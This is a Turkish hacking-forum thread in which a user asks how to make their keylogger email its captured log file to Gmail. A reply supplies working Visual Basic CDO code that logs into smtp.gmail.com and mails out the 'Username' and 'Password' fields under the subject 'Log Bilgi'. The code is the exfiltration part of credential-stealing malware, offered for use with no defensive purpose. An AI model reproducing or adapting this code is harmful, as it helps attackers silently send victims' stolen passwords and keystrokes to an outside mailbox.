Beyler Benim Logger Logları "C:/Keylogger.txt" Olarak Kaydediyor Fakat Gmaile Yollamıyor Hangi Kodla Yollarım Bendeki Kod Hatalı Sanırım
Log Alımı
- Konuyu başlatan DarknessChaos
- Başlangıç tarihi
Buyrun
Kod:
Dim iMsg, iConf, Flds Set iMsg = CreateObject("CDO.Message") Set iConf = CreateObject("CDO.Configuration") Set Flds = iConf.Fields schema = "http://schemas.microsoft.com/cdo/configuration/" Flds.Item(schema & "sendusing") = 2 Flds.Item(schema & "smtpserver") = "smtp.gmail.com" Flds.Item(schema & "smtpserverport") = 465 Flds.Item(schema & "smtpauthenticate") = 1 Flds.Item(schema & "sendusername") = "gmailadresin" Flds.Item(schema & "sendpassword") = "şifren" Flds.Item(schema & "smtpusessl") = 1 Flds.Update With iMsg .To = "gmailadresin" .From = "başkabirgmailadresiyaz" .Subject = "Log Bilgi" .HTMLbOdy = "Username : " & Text1.Text & vbCrLf & vbCrLf & "Password : " & Text2.Text .Organization = "Mail Organtion" .ReplyTo = "-" Set .Configuration = iConf SendEmailGmail = .Send End With- Konuyu başlatan
- #4
- Durum
